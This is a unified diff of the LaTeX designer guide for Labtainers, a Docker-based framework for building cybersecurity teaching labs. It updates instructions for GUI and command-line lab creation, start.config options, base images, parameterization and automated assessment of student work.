Debian and/or RPM packages.} Alternately, students can use a Linux VM +which supports Docker. Most students will use a Linux VM appliance that is pre-configured with Labtainers and Docker, and is available at our website. It is suggested that the student's Linux host be a virtual machine that is not used for purposes requiring trust. Software programs contained in cybersecurity lab exercises are not, in general, trusted. And while Docker containers provide namespace -isolation between the containers and the Linux host, the containers run as privileged. +isolation between the containers and the Linux host, the containers run as privileged processes. Labtainer exercises can include networking to external hosts, e.g., a Windows VM running alongside the Linux host VM, as described in section \ref{external hosts}. Students initiate any and all labs from a single workspace directory on the Linux host. -To perform a specific Labtainer exercise, the student runs a \textit{start.py} command from +To perform a specific Labtainer exercise, the student runs a \textit{labtainer} command from the Labtainer workspace, naming the lab exercise. This results in one or more containers starting up along with corresponding virtual terminals via which the student will interact with the containers. These virtual terminals typically @@ -186,7 +195,8 @@ e.g., via email or a learning management system (LMS). The instructor collects directory on his or her own Linux host, and then issues a command that results in automated assessment of student lab activity, (if the lab is designed for that), and the optional creation of an environment -in which the instructor can review the work of each student. +in which the instructor can review the work of each student. See the \textit{Instructor Guide} for details +of assessment functions. Many cybersecurity lab exercises are assessed through use of reports in which students describe their activities and answer specific questions posed by the instructor. Labtainers @@ -201,15 +211,86 @@ The most challenging and critical part of designing a new cybersecurity lab is the design of the lab itself, i.e., identifying learning objectives and organizing exercises to achieve those objectives. The Labtainer framework does not specifically address any of that. Rather, the framework is intended -to allow you to focus more time on the design of the lab and less time on mitigating and +to allow you to focus more time on the design of the lab and less time mitigating and explaining system administration and provisioning burdens you would otherwise place on students and instructors. -Typical steps for developing a new lab are: +Labtainers includes a GUI for creating and maintaining labs. Alternately, you can create +and maintain labs using the command line as described in \ref{command-line}. Each approach is summerized below. + +\subsection{GUI-based lab creation} +The following step-by-step instructions create a simple lab having two computers, one of which +contains a lab-specific program, and connected by a network. \footnote{These instructions assume you are +familiar with basics of Unix command line and file operations. The UI allows you to avoid many command line +operations, however you still must create and manage files that will be present in the lab.} + +\subsubsection{Start the labedit UI} +Start the Labtainers Lab Editor using the {\tt labedit} command from any directory, If +the {\tt labedit} command is not in your path, try logging out and back in (the {\tt update-designer.sh} +script should have added that to your path.) + +The GUI resulting from {\tt labedit} will initially open the {\tt telnetlab}. + +\subsubsection{New lab creation} +Select {\tt File} / {\tt New Lab} +to create a new lab. Give the lab a name in the resulting dialog, and accept the default base configuration. +(See \ref{base-images} for a summary of the different base images.) A new container having the same name +as the lab is initially created for the lab. + +This simple lab that you have just created contains one container that does not yet include lab-specific files. + +\subsubsection{Test initial lab} +You can test this simple container via {\tt Run} / {\tt Build \& run}. \textbf{Note:} Popup menus will remain open +while Labtainers builds and starts the lab. Depending on the lab, this may take some time. +You will see a new virtual terminal opened with a title reflecting the name you have given your new lab. That terminal +is connected to a simple Ubuntu computer, that is your running lab. + +\subsubsection{Stop the lab} +Use {\tt Run} / {\tt Stop lab} to stop the lab. + +\subsubsection{Add a program to the container} +Then right-click on the container name in the {\tt Containers} pane +and select {\tt Open shell in container dir}, which will create a shell in the subdirectory used by Labtainers to +determine what is to present on the container when it runs. Create an executable within that directory, e.g., a +{\tt hello\_world.sh} script and make it executable. + +Use {\tt Build and run} to rebuild your lab and confirm the presence and function of the program that you added. +Then stop the lab. + +\subsubsection{Add a 2nd computer} +Click the {\tt Add} button above the {\tt Containers} pane and provide a name for the new computer. + +\subsubsection{Add a network} +Click the {\tt Add} button above the {\tt Networks} pane and provide a name for the network and give it a +netmask of the form {\tt xxx.xxx.xxx.xxx/yy}, e.g., {\tt 192.10.0.0/24}. Assign a gateway IP address (this is +the address via which Docker communicates between the host and components on the network.) This should not +be an IP address of any component on your virtual network. Do not modify any of the other network configuration +values. Use the {\tt Confirm} button to close the network dialog. + +\subsubsection{Connect computers to the network} +Click each of the two containers in the {\tt Containers} pane and use the {\tt Networks} {\tt Add} button to +add the network to the container and assign it a unique IP address. Use the {\tt Confirm} button to close the +container dialogs. + +Restart the lab and use {\tt ifconfig} (or {\tt ip addr}) on each computer to confirm IP address assignment and ping one computer from +the other. Use {\tt stop lab} to stop the lab. + +\subsubsection{Parameterize the lab} +Edit your hello-world program to display a string literal called "REPLACEME". +In the GUI click the "Parameterize" button, then click "Create". Give the parameter an identifier, select the initial +container from the pulldown list, and enter the absolute path of the program file as it exists on the container, e.g., +{\tt /home/ubuntu/myprog.sh}\footnote{Be sure to press Enter in the file name text field, otherwise the value you type will disappear.}. Leave the operator as {\tt RAND\_REPLACE} and provide a range for the random values. +In the symbol field, enter the {\tt REPLACEME} string that you put in your program. +Then build and run the lab and run the hello world program to observe the random value. + + +\subsection{Command line lab creation} +\label{command-line} +Typical steps for developing a new lab using the command line are: \begin{enumerate} -\item Give the lab a name and create its computers using the {\tt new\_lab\_setup.py} script; -\item Choose the starting baseline configuration for each computer and add software packages -within a Dockerfile; +\item Give the lab a name and create its computers using the {\tt new\_lab\_setup.py} script, identifying the +desired based container images; +\item Add software packages within a Dockerfile; \item Define networks and connections to the lab computers in the lab's {\tt start.config} file. \item Populate the user's HOME directory and system directories with lab-specific files. \end{enumerate} @@ -218,7 +299,7 @@ following section \ref{execution environment}, covers the other three steps. After a lab is created, you can then optionally parameterize it per section \ref{parameterize} and/or define criteria for automated assessment per section \ref{assessment} -\subsection{Create the first lab computer} +\subsubsection{Create the first lab computer} Labtainer exercises each have their own directory under the ``labs'' directory in the project repository. The first step in creating a new lab within the framework is to create @@ -230,7 +311,7 @@ used by students when starting the lab. It must be all lower case and not conta cd \end{verbatim} -\noindent After the new lab directory is created, run the ``new\_lab\_setup.sh'' script. +\noindent After the new lab directory is created, run the ``new\_lab\_setup.py'' script. \footnote {The {\tt \$LABTAINER\_DIR} will have been defined in your .bashrc file when you installed Labtainers. It should point to the {\tt labtainers/trunk} directory. You may need to start a new {\tt bash} shell to inherit the environment @@ -246,7 +327,7 @@ The result of running {\tt new\_lab\_setup.py} is a new labtainer lab that can b While this new lab will initially only present you with a bash shell to an empty directory on a Linux computer, it is worth testing the lab to understand the workflow. -\subsection{Testing the new lab} +\subsubsection{Testing the new lab} Once a new lab directory is created, and the new\_lab\_setup.py has been run, then you can test the new, (currently empty) lab. All student labs are launched from the labtainer-student directory. Lab development workflow is easiest if at least two @@ -259,11 +340,11 @@ directory. So, open a new tab or window, and then: Then start the lab using the: \begin{verbatim} - rebuild.py [labname] + rebuild [labname] \end{verbatim} command, where labname is the name of the lab you just created. -The rebuild.py command will remove and recreate the lab containers +The {\tt rebuild} command \footnote{Previously named {\tt rebuild.py}} will remove and recreate the lab containers each time the script is run. And it will rebuild the container images if any of their configuration information has changed. \footnote{The build process may generate warnings in red text, some of which are expected. These include an unreferenced ``user'' variable and the lack of apt-utils if apt-get is used to install packages in @@ -277,15 +358,15 @@ a separate terminal: \end{verbatim} If the rebuild fails with a error reflecting a problem resolving hostnames, e.g., mirror.centos.com, please see \ref{DNS-rebuild}. -Note the ``rebuild.py'' command is not intended for use by students, they would use the ``start.py'' command. -The rebuild.py utility compares file modification dates to Docker image creation dates to determine if -a given image needs to be rebuilt. \footnote{rebuild.py will miss file deletion. Thus, if files are deleted, you must -force the rebuild using the {\tt -f} option at the end of the rebuild.py command. Also, addition of symbolic links will not -trigger a rebuild.} +Note the {\tt rebuild} command is not intended for use by students, they would use the ``labtainer'' command. +The rebuild utility compares file modification dates to Docker image creation dates to determine if +a given image needs to be rebuilt. The rebuild may miss file deletions. Thus, if files are deleted, you must +force the rebuild using the {\tt -f} option at the end of the rebuild command. Also, addition of symbolic links will not +trigger a rebuild. Rebuild references git modify dates (vice file modify dates). Stop the lab with \begin{verbatim} - stop.py + stoplab \end{verbatim} When you stop the lab, a path to saved results is displayed. This is the zip file that the student will forward to the instructor. @@ -294,12 +375,12 @@ To test adding a ``hello world'' program to the new labtainer, perform the follo \begin{itemize} \item From the new lab directory window, cd \verb!$LABTAINER_DIR/labs/[labname]/[labname]! \item Create a ``hello world'' program, e.g., in python or compiled C. -\item From the labtainer-student window, run rebuild.py [labname] +\item From the labtainer-student window, run {\tt rebuild [labname]} \end{itemize} You should see the new program in the container's home directory. If you run the program from the container, and then stop the lab -with stop.py, you will see the stdin and stdout results of the program within the +with stoplab, you will see the stdin and stdout results of the program within the saved zip file. The ``hello world'' program was placed in \verb!$LABTAINER_DIR/labs/[labname]/[labname]!. @@ -310,17 +391,17 @@ the lab has but one container, whose name defaults to the lab name. The following sections describe how to further alter the lab execution environment seen by the student. -\subsection {Multiple containers} -The {\tt new\_lab\_setup.sh} script can be used to create additional containers for use +\subsubsection {Multiple containers} +The {\tt new\_lab\_setup.py} script can be used to create additional containers for use in the lab. For example, from your new lab directory: \begin{verbatim} - new_lab_setup.sh -a joe_computer + new_lab_setup.py -a joe_computer \end{verbatim} \noindent will create a second container for your lab, -named ``joe\_computer''. If you again run the rebuild.py script, you will see two virtual +named ``joe\_computer''. If you again run the rebuild script, you will see two virtual terminals, each connected to one of your two independent computers. Use \begin{verbatim} - new_lab_setup.sh -h + new_lab_setup.py -h \end{verbatim} \noindent to view the operations available in that script. @@ -338,22 +419,28 @@ by the configuration of the associated container. Software packages are defined in each container's Dockerfile, described in the subsection below. That is followed by subsection \ref{start config} describing network definitions, -(and other computer attributes) in the start.config file. The remaining subsections then +(and other computer attributes) in the start.config file or GUI. The remaining subsections then described populating the user HOME directory and system directories, and methods for starting -system services and miscellanious envrionment settings. +system services and miscellaneous environment settings. Labtainer containers, by default, present students with a virtual terminal and a bash shell requiring no login. Alternate initial environments, including use of the login program, are described in section \ref{student start}. -\subsection {Docker files} -A default Labtainer-specific Dockerfile is placed in the new lab's ``Dockerfiles'' -directory when the new lab is created. And additional Dockerfiles are added when the -{\tt new\_lab\_setup.sh -a} script adds computers to the lab. We use standard Docker file syntax, which is described at -\url{https://docs.docker.com/engine/reference/builder/} +Section \ref{persistent} describes how to +allow students to share tools they've developed between different labs. -Simple labs should be able to use the default Dockerfile copied by the -new\_lab\_setup.py script. That Dockerfile refers to a base Labtainer +\subsection {Docker files} +A Labtainer-specific Dockerfile is placed in the new lab's ``Dockerfiles'' +directory when the new lab is created. And additional Dockerfiles are added when the +new computers are added via the GUI, or via {\tt new\_lab\_setup.py -a} script. +We use standard Docker file syntax, which is described at +\url{https://docs.docker.com/engine/reference/builder/} The Dockerfile for container +can be opened by clicking on the container and selecting the Docker tab. + +Dockerfiles vary depending on the base configuration selected for the computer in the GUI, +or using the {\tt --base\_name} option in the {\tt new\_lab\_setup.py} script. +The default {\tt base} Dockerfile refers to a Labtainer image that contains the minimum set of Linux packages necessary to host a lab within the framework. The default execution environment builds off of a recent Ubuntu image. @@ -368,13 +455,12 @@ execution environment builds off of a recent Ubuntu image. \end{verbatim} The first line of each Dockerfile identifies the baseline Labtainer image to be pulled from the Docker Hub. -The initial default image is a basic Ubuntu system with a minimal set of packages. To use an -alternate image having additional networking packges (e.g., tcpdump, xinetd, sshd), change the first line to: -\begin{verbatim} -FROM mfthomps/labtainer.network -\end{verbatim} -\noindent Other alternate images include: +\label{base-images} +\noindent Base images include: \begin{itemize} +\item labtainer.base -- Minimal Ubuntu system. +\item labtainer.network -- Networking packages installed and xinetd running, but network services not activated +\item labtainer.network.ssh -- Same as network, but with ssh active in the xinetd configuration. \item labtainer.centos -- A CentOS server with systemd and the true ``init'' initial process. \item labtainer.lamp -- A CentOS server with Apache, Mysql and PHP, (the LAMP stack) \item labtainer.firefox -- An Ubuntu container with the Firefox browser. @@ -382,6 +468,9 @@ FROM mfthomps/labtainer.network \item labtainer.java -- An Ubuntu container with the Firefox browser and the open JDK. \item labtainer.kali -- A Kali Linux system with the Metasploit framework. \item labtainer.metasploitable -- The Metasploitable-2 vulnerable server. +\item labtainer.bird -- The Bird router (See the bird labs). +\item labtainer.owasp -- The firefox base with the OWASP zap toolset. +\item labtainer.juiceshop -- The OWASP vulnerable Juice Shop web server. \end{itemize} Refer to the Dockerfiles in {\tt \$LABTAINER\_DIR/scripts/designer/base\_dockerfiles} to see which software packages are included within each baseline image. @@ -394,10 +483,12 @@ RUN apt-get update && apt-get install -y some_package You will also see ``ADD'' commands in the Docker file that populate the container directories with lab-specific files such as described in section \ref{home files}. -Next, you must also describe your containers within the \textit{start.config} file as described below. - \subsection{Container definitions in start.config} \label{start config} +This section is primarily for designers who use the command line, though GUI users may +find the descriptions below to be helpful. The GUI provides interfaces +for setting these configuration values, and includes tool-tip for most of them. + Most single container labs can use the automatically generated start.config file without modification. Adding networks to containers and defining users other than the default "ubuntu" user requires modification of the start.config file. @@ -408,27 +499,30 @@ entries can be left alone for most labs. \begin{itemize} \item GRADE\_CONTAINER -- Deprecated -\item HOST\_HOME\_XFER [dir name] -- Identifies the host directory via which to transfer student artifacts, relative to -the home directory. For students, this is where the zip files of their results end up. For instructors, this is -where zip files should be gathered for assessment. +\item HOST\_HOME\_XFER [dir name] -- Deprecated \item LAB\_MASTER\_SEED [seed] -- The master seed string for this lab. It is combined with the student email address to create an instance seed that controls parameterization of individual student labs. -\item REGISTRY [registry] -- The id of the Docker Hub registry that is to contain the lab images. +\item REGISTRY [registry] -- The id of the Docker Hub registry that is to contain the lab images. This defaults to the +registry value defined in the labtainers.config file. +\item BASE\_REGISTRY [base\_registry] -- The id of the Docker Hub registry that contains the base image for the container. This defaults +to the default registry per the labtainer.config file. See \ref{publishing} for details on the use of this keyword. \item COLLECT\_DOCS [yes/no] -- Optional directive to collect lab/docs content as part of student artifacts. These are then available to the instructor in the labtainer\_xfer/[lab]/docs directory. Also see \ref{instructions}. \item CHECKWORK [yes/no] -- Optional directive to disable (set to ``no'') ability of student to check their own work from the labtainer-student directory. \end{itemize} -\item NETWORK [network name] -- One of these sections is require for each network within the lab. In addition to -providing a name for the network, the following values are defined: +\item NETWORK [network name] -- One of these sections is required for each network within the lab. The name +is used within the start.config file to refer to the network. It is suggested that this name NOT be +used in lab guides since it is not visible to students\footnote{You may note several Labtainers labs +failed to heed this advise.}. Where possible, name networks with their subnet mask, e.g., 10.1.0.0/24. +In addition to providing a name for the network, the following values are defined for the NETOWRK: \begin{itemize} \item MASK [network address mask] -- The network mask, e.g., 172.25.0.0./24 \item GATEWAY [gateway address] -- The IP address of the network gateway used by Docker to communicate with the host. Please note that to define a different network gateway for the component, you should -use the {\tt set\_default\_gw.sh}. This GATEWAY field should not name the IP of any of your other components. -See the the {\tt routing\_basics2} lab for examples. +use the {\tt LAB\_GATEWAY} parameter for containers. This GATEWAY field should not name the IP of any of your other components. \item MACVLAN\_EXT [N] -- Optional, causes the Docker network driver to create and use a macvlan tied to the given Nth ethernet interface (in alphabetical order) that lacks an assigned IP address. The network device is expected to be on a ``host-only'' VM network. The VMM should disable the @@ -438,7 +532,7 @@ These types of interfaces can be used to communicate with external hosts, e.g., as described in \ref{external hosts} \item MACVLAN -- Similar to MACVALN\_EXT, except a macvlan will not be created unless the Labtainer lab is started as a multi-user lab as descrbed in \ref{multi user}. -\item IP\_RANGE [range] -- Optional, allocates an ip range to the network, e.g., 192.168.1.4/30 +\item IP\_RANGE [range] -- Deprecated \end{itemize} \item CONTAINER [container name] -- One of these sections is required for each container in the lab. @@ -458,8 +552,6 @@ script. The script should be placed in container \_bin directory, i.e., \begin{verbatim} $LABTAINER_DIR/labs/[labname]/[container]/_bin \end{verbatim} -\noindent If the title is ``INSTRUCTIONS'', no script is necessary and the instructions.txt file -in the container home directory will be displayed. \item USER [user name] -- The user name whose account will be accessed via the virtual terminals. This defaults to ``ubuntu.'' \item PASSWORD [password] -- The password for the user name whose account will be accessed via the virtual terminals. @@ -495,7 +587,49 @@ increasing integer starting with one, and this value can be used for the network parameterization as described in section \ref{parameterize}. This option is not intended for use in creating multi-user labs. \item NO\_PULL [YES/NO] -- Use a local instance of the container image rather than pulling it from the Docker hub. - +\item LAB\_GATEWAY -- Optional IP address of the component's default network gateway. If set, this will replace the +default Docker gateway. Students can toggle between gateways by using the togglegw.sh command, e.g., to enable communication +with the host VM or the internet\footnote{This replaces use of the set\_default\_gw.sh script from +within fixlocal.sh scripts}. This option will also cause the static route to the {\tt my\_host} address to be deleted. +\item NAME\_SERVER -- Optional IP address to provide with the {\tt nameserver} directive to replace the content of {\tt /etc/resolv.conf} +\item NO\_GW [YES/NO] -- Disable the Docker default gateway, preventing network communication with the host or external devices. +\item REGISTRY [registry] -- The id of the Docker Hub registry that is to contain the lab images. This overrides the value +set in the GLOBAL section. +\item BASE\_REGISTRY [base\_registry] -- The id of the Docker Hub registry that contains the base image for the container. This defaults +to the default registry per the labtainer.config file. +\item THUMB\_VOLUME -- Optional arguments to a mount command that will be executed in a GNS3 environment when the student selects +{\tt insert thumb drive} from a component menu. \textbf{NOTE:} Use of this option will cause the host {\tt /dev} directory to be shared +with the container. This allows the container to perform all kinds of mischief. +\item THUMB\_COMMAND -- Optional command that will run prior mounting the THUMB volume defined above. +\item THUMB\_STOP -- Optional command that will run when the container is stopped under GNS3. +\item PUBLISH [publish] -- Optional arguments to the Docker {\tt --publish} argument for making container ports visible at the +host interface. For example, a value of +\begin{verbatim} + 127.0.0.1:60022:22/tcp +\end{verbatim} +\noindent will bind host port 60022 to container port 22. +\item HIDE [hide] -- If YES, the associated node will be hidden in GNS3 environments when the {\tt --student} option if +\item NO\_PRIVILEGE -- If YES, the container runs without Docker privilege. +\item MYSTUFF -- if YES, the directory at {\tt labtainerstudent/mystuff} is shared with the container in {\tt /home//mystuff.} +used. +\item MOUNT [hostv:containerv] -- Intended for use with licensed software installations, e.g., IDA Free, will cause a directory +located at: +\begin{verbatim} + ~/.local/share/labtainers/[hostv] +\end{verbatim} +\noindent at a mount point on the container at: +\begin{verbatim} + ~/[containerv] +\end{verbatim} +\noindent The purpose is allow that host directory to be reused across labs to avoid re-installing licensed software, i.e., +something where the student takes a distinct action to acknowledge a license. +\item WAIT\_FOR -- Optional name of another container whose parameterization and fixlocal processing should complete +prior to this container starting its parameterization. +\item NUM\_CPUS -- Optional allocation of CPUs to this container. Note the container sees all CPUs, e.g., every +core allocated to the VM using {\tt lscpu}, but Docker will limit the container utilization of CPUs per this value, +which may be a decimal value. +\item CPU\_SET -- Optional allocation of specific CPU sets to this container. Format is either a comma separated list +or a range, e.g, 1-3. \end{itemize} \end{itemize} @@ -563,7 +697,7 @@ All files in the \begin{verbatim} $LABTAINER_DIR/labs/[labname]/[container name]/_system \end{verbatim} -directory will be copied to their corresponding paths relative to the root directory. +\noindent directory will be copied to their corresponding paths relative to the root directory. For example, configuration files for /etc should appear in \_system/etc/. The initial Dockerfile from the templates include this line: @@ -578,15 +712,19 @@ can be placed into the directory named: \end{verbatim} either as individual files, or in a ``sys.tar'' archive. In the former case, the framework will automatically create the sys.tar file. This technique -can save time in building lab images becauase the files do not need to be +can save time in building lab images because the files do not need to be archived for each build. In general, files modified and maintained by the designer should go into the \_system directory while static system files should go into the sys\_tar directory. +\textbf{NOTE:} CentOS systems do not have a {\tt /bin} directory, that is actually a link. If you +create a {\tt \_system/bin} directory for the lab, that will trash the {\tt /bin} link and result in +an obscure Docker build error. + \subsection {System services} -The Dockerfile ``ENTRYPOINT'' command can be used to start a system service. The general Docker -model is that a single Docker container runs a single service, with logging being forwarded to +The general Docker +model is that a single Docker container runs a single service started via the ENTRYPOINT command, with logging being forwarded to the host. Labtainers disregards this model because our goal is to make a container look more like a Linux system rather than a conformant Docker container. Labtainer Dockerfiles for Ubuntu and Centos containers use systemd based images that run the /usr/sbin/init process. \footnote {Now deprecated Ubuntu-based Labtainer Dockerfiles included an @@ -594,12 +732,27 @@ ENTRYPOINT command that launches a \textit{faux\_init} script that starts rsyslo appear in /var/log), and runs rc.local.} The labtainer.network configuration of the baseline Dockerfile also starts xinetd, which will then fork services, e.g., the sshd, per the /etc/xinet.d/ configuration files. +Services should be added using {\tt systemd} constructs. For those of us who often forget what those are, a simple web server +service can be added to a container by unpacking this tar from the witin the container's directory: +\begin{verbatim} + tar -xf $LABTAINER_DIR/scripts/designer/services/web-server.tar +\end{verbatim} +\noindent And enable the service in the {\tt \_bin/fixlocal.sh} file with: +\begin{verbatim} + echo $1 | sudo -S systemctl enable httpserver.service + echo $1 | sudo -S systemctl start httpserver.service +\end{verbatim} + + The centos-logs lab provides an example of forcing the student to login using the traditional login program, as described in section \ref{student start}. +See section \ref{suggestions} for guidance on including 3rd party applications within your labs (e.g., ones that are +not simply added to your container via package managers.) -\subsection {Lab Text and Instructions for Students} \label{instructions} -Create a 'docs' directory in the [labname] directory if there isn't one there. This is where most textual information about the lab, as well as the lab manual, should be stored and modified. The 'about.txt' is an exception to this. \\ + +\subsection {Lab Instructions for Students} \label{instructions} +Create a 'docs' directory in the [labname] directory if there isn't one there. This is where most textual information about the lab, as well as the lab manual, should be stored and modified. \\ \noindent Use LateX to write and create PDF files in the docs directory. Look at other lab's docs directory on how to create a Makefile for the LateX file. \\ @@ -618,16 +771,13 @@ to a [labname].pdf file within that same docs directory. And ``LAB\_DOCS'' is re \end{itemize} -\noindent An 'about.txt' file will be present in the 'config' directory of the lab. Any text inside will be displayed as a description to the lab when listed from running the 'labtainer' command in \$LABTAINER\_DIR/trunk/scripts/labtainer-student. This text will also appear when clicking on the logo in the GNS3 environment of Labtainers. \\ +\noindent An {\tt about.txt} file should be present in the 'config' directory of the lab. Any text inside will be displayed as a description to the lab when listed from running the {\tt labtainer} command. This text will also appear when clicking on the logo in the GNS3 environment of Labtainers. That directory should also include a {\tt keywords.txt} file that associates searchable keywords with the lab. Use +the {\tt labtainer -k} option to view a list of existing keywords. Do no create new keywords unless clearly needed.\\ \noindent If the start.config file includes ``COLLECT\_DOCS YES'', the content of the lab/docs directory will be -included with the student artifacts and available extracted into the intstrutor's +included with the student artifacts and available extracted into the instructor's labtainer\_xfer/[lab]/docs directory. \\ -\noindent A deprecated feature that still exists in a tiny handful of labs: "Lab instructions for students can be displayed in a virtual terminal by placing an -``instructions.txt'' file within the home directory of one of the containers. Refer to existing -labs for conventions." - \subsection {Running programs in Virtual Terminals} \label {student start} @@ -635,7 +785,7 @@ Programs can be started automatically within virtual terminals using two methods The first is the ``XTERM'' directive in the container section in the start.config file described in \ref{start config}. That is intended for programs whose results are displayed within the virtual terminal, (see the plc lab for examples). The second method is -intended for user authentiation and for starting GUI based programs +intended for user authentication and for starting GUI based programs that will use the Linux host Xserver. If a file exists at: \begin{verbatim} $LABTAINER_DIR/labs/[labname]/[container name]/_bin/student_startup.sh @@ -657,25 +807,6 @@ operations: # stuff to do as default user fi \end{verbatim} -it will be executed from each virtual terminal created for the container. -See the sql-inject lab and the centos-log lab examples, with the latter -running the login program to require students to login prior to getting a shell prompt. -\footnote{On CentOS systems, copy the login program from labs/centos-log/centos-log/\_system/sbin/login -to your container's \_system/sbin directory. The login program from Ubuntu works as is.} -Note that on CentOS systems, the student\_startup.sh script will be executed twice: first -as root and then as the default user. Use constructs such as the following to avoid repeating -operations: -\begin{verbatim} - id | grep root >>/dev/null - result=$? - if [[ $result -eq 0 ]]; then - # stuff to do as root - else - # stuff to do as default user - fi -\end{verbatim} - - \subsection{Final lab environment fixup} The initial environment encountered by the student is further refined using @@ -690,22 +821,32 @@ and reside at: \end{verbatim} \noindent Note the fixlocal.sh script runs as the user defined in the start.config for the container, regardless of whether root is set as the user in the Dockerfile. The {\tt fixlocal.sh} script is primarily -intended for parameterizing labs. Other initialization and synchronization between multiple components +intended for parameterizing labs. It only runs on the first start of the container, and thus will not catch configuration changes +imposed by Docker, such as default routing. Other initialization and synchronization between multiple components should be performed as within any Linux system, e.g., via services or rc.local. +Note that use of {\tt sed -i ...} to modify configuration files (e.g., in etc), might result in overwriting symbolic links. +Use {\tt sed -i --follow-symlinks ...} to avoid that pit. Also note that CentOS rc.local files are in {\tt /etc/rc.d/rc.local} -\footnote{Use of {\tt sed -i ...} to modify configuration files (e.g., in etc), might result in overwriting symbolic links. -Use {\tt sed -i --follow-symlinks ...} to avoid that pit.} +Synchronization between containers for purposes of sequencing the fixlocal processing can be achieved with the +{\tt WAIT\_FOR} start.config parameter. -\subsection{Automatic copying files from containers to the host} -This feature no longer has an intended use, but it is available if you have one. -Files are identified within +\subsection{Persistent storage} +\label{persistent} +Sequences of labs may benefit from a student's ability to employ tools they have developed within more than one lab. +For example, a set of data analysis scripts initially developed for one lab may be a useful starting point when +performing a subsequent, more advanced lab. You can provide students with persistent storage by defining the \begin{verbatim} - $LABTAINER_DIR/labs/[labname]/config/files_to_host.config + MYSTUFF YES \end{verbatim} -\noindent with a format of ``container:filename''. Any named files within the home directory of -the named container will be copied to the host computer into a directory named by the lab, relative -to the Labtainer working directory. +\noindent attribute for a container in the start.config file. That will cause the associated container to have +a directory at {\tt \$HOME/mystuff} which is mapped to the directory at {\tt labtainer-student/mystuff} +All labs that employ the {\tt MYSTUFF} attribute will share the same directory. It is intended that at most one +container in any given lab will use this directory. And it is suggested that these directories only be used for +labs that anticipate evolving development of tools by the student. + +Persistent storage is also provided for purposes of re-using licensed software across different labs. +See the use of the {\tt VOLUME} option in \ref{start config}. \section{Parameterizing a lab} \label{parameterize} @@ -738,7 +879,7 @@ Each line of that file must start with a \verb!" : "!, which is an is followed by one of the following operations: \begin{verbatim} - RAND_REPLACE : : : : + RAND_REPLACE : : : : : Replace a symbol within the named file with a random value within a given range. The random value generator is initialized with the lab instance seed. @@ -753,10 +894,12 @@ is followed by one of the following operations: to randomize IP addresses. - the string to be replaced and specifies the lower and upper bound - to be used by random generator + to be used by random generator, and + optionally ensures the value falls on a modulo boundary, + e.g., to ensure offsets are word-aligned. example: - some_parameter_id : RAND_REPLACE: client:/home/ubuntu/stack.c + some_parameter_id : RAND_REPLACE : client:/home/ubuntu/stack.c : BUFFER_SIZE : 200 : 2000 (all one line) will randomly replace the token string "BUFFER_SIZE" found in file stack.c on the mylab.client.student container with a number ranging from @@ -845,7 +988,7 @@ lines would achieve that: \subsection{Parameterizing start.config} Parameterizing of the start.config file occurs prior to Docker container creation. The framework modifies a copy of the file stored in {\tt /tmp/start.config} and uses that when assigning attributes to containers, -e.g., IP addresses. Currently only IP addresses within the start.config can parameteterized (e.g., not user names). +e.g., IP addresses. Currently only IP addresses within the start.config can be parameteterized (e.g., not user names). \subsection{Simple Parameterization for Checking Own-work} The simplest, though by no means robust, strategy for ensuring students @@ -855,6 +998,13 @@ and then check that file and the archive file names during grading. The framewo this automatically and reports on any student archive that does not seem to have originated from a Labtainer initiated with that student's email address. +\subsection{Debugging parameterizing} +The parameterization step occurs the first time each container is started. +It occurs by running the .local/bin/parameterize.sh script on the container. Debugging output from the execution +of this script can be found on the container in /tmp/parameterize* + +Within the labtainer.log, you can see the step occur following the log entry that reads: ``About to call parameterize.sh...''. +The parameterizing step is preceded by a copying of the files in the labtainer-student/lab\_bin directory into the container. \section{Automated assessment of student labs} \label{assessment} @@ -907,6 +1057,9 @@ These packages of artifacts are then transferred to the instructor, (e.g., via e ingested into the instructor's system where lab assessment occurs. Timestamped stdin and stdout files are captured in \texttt{\$HOME/.local/result} +Each container within a lab includes a default user, and it is only that user's stdin/stdout artificts that are +captured. + By default, stdin and stdout for all non-system programs is captured, e.g., the results of an ``ls'' command are not captured. The stdin and stdout of system programs\footnote{The ``source'' directive is not a system program, and should not be included in a treataslocal file.} will be captured if the program @@ -916,13 +1069,15 @@ names appear at the beginning of a line in the \textit{treataslocal} file at \end{verbatim} \noindent The basename of the treataslocal entries are compared to the basename of each command. \footnote{In other words, if the treataslocal entry is: \texttt{usr/bin/nmap}, the path leading to nmap is ignored.} -Starting of services can be monitored through use of treataslocal entries having a ``.service'' suffix, -e.g., {\tt httpd.service} would generate timestamped artifact files whenever httpd was started (or restarted) -using systemctl, service or /etc/init.d/... See section \ref{time delimeter} for the intended use of this feature. Non-system programs can be excluded from stdin/stdout capturing by including their names in a ``ignorelocal'' file in that same directory. \footnote{These should not include path information, just the program name.} +The student commands are parsed to first account for the use of {\tt sudo}, {\tt time}, {\tt python} or {\tt python3}. +The commands are also processed to account for the use of pipes and redirection. + +The stdout files truncate after about 1MB to avoid swamping the grading system (and the instructor's computer) with large files. + \subsubsection{Capturing program file output} \label{program output} Sometimes program file output is of interest to automated assessment, e.g., the program @@ -955,7 +1110,9 @@ program delim_type:delim_value \subsubsection{Bash History} The framework collects all student bash history into the \texttt{\$HOME/.bash\_history} and \newline \texttt{/root/.bash\_history} files. These files are -available for reference as an artifact file. +available for reference as an artifact file. The bash history for the default user is collected from each +container. If a container has users other than the default user, files created or modified by those users +beneath their home directories (e.g., their bash histories) are also collected. \subsubsection{System logs} All files referenced in the {\tt results.config} file, (described below in section \ref{results.config} @@ -1016,6 +1173,7 @@ one of the following: creation within the named directory. \item {\tt ACCESS} will capture any read of the file named by the path. \item {\tt MODIFY} will capture any write to the file named by the path. +\item {\tt OPEN} will capture any open of the file or directory named by the path. \end{itemize} \noindent The optional {\tt output file} will be used for the timestamped filename of the output from the event (instead of the default {\tt notify.stdout.YYMMDDHHMM} @@ -1039,7 +1197,9 @@ one timestamped file allows the designer to identify events that occured as part invocation. Again, see the {\tt acl} lab for an example. \subsubsection{Generating results upon stopping the lab} -The lab designer can cause a script to run on selected containers whenever the student stops a lab. +\label{prestop} +The lab designer can cause a script to run on selected containers whenever the student stops a lab, +or when a student issues the {\tt checkwork} command per \ref{checkwork}. This is achieved by creating an script or executable program at: \begin{verbatim} trunk/labtainers/lab//_bin/prestop @@ -1050,11 +1210,19 @@ shutting down any of the containers, and all the timestamps will be the same. Note the Labtainers framework generally allows students to acheive their goals at any point in their exploration, and the labs typically do not require the student to leave the system in any particular state. In other words, students should be free to continue experimenting subsequent to getting -the correct results. Thus, any use of the prestop feature should be accompanied by a lab manual entry +the correct results. Thus, any use of the prestop feature, (other than for \textit{current state assessment} +per \ref{current-state}), should be accompanied by a lab manual entry advising the student that they may 